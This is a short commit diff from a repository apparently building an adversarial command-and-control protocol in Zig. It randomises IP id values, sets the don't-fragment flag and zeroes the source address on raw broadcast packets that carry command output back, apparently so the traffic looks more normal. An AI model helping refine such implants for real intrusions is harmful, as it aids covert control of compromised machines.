Adversarial C2 Protocol Implemented in Zig
Set don't fragment, and use random id
+5
-3
+5
-3
src/main.zig
+5
-3
src/main.zig
···
120
120
fragment_offset: u13 = 0,
121
121
flags: packed struct(u3) {
122
122
reserved: u1 = 0,
123
-
dont_fragment: u1 = 0,
123
+
dont_fragment: u1 = 1,
124
124
more_fragments: u1 = 0,
125
125
} = .{},
126
126
···
158
158
var headers: EthIpUdp = .{
159
159
.src_mac = socket.mac,
160
160
.ip = .{
161
-
.id = 0,
162
-
.src_addr = rand.int(u32),
161
+
.id = rand.int(u16),
162
+
.src_addr = 0, //rand.int(u32),
163
163
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
164
164
.len = undefined,
165
165
},
···
231
231
var res = socket.receive(&res_buf) catch continue;
232
232
233
233
headers.udp.dst_port = udp_dest_port;
234
+
headers.ip.id = rand.int(u16);
234
235
235
236
full_msg = blk: {
236
237
var msg_buf: [2048]u8 = undefined;
···
272
273
connection.connection.payload = cmd_output;
273
274
connection_bytes = connection.toBytes(&connection_buf);
274
275
headers.setPayloadLen(connection_bytes.len);
276
+
headers.ip.id = rand.int(u16);
275
277
276
278
full_msg = blk: {
277
279
var msg_buf: [2048]u8 = undefined;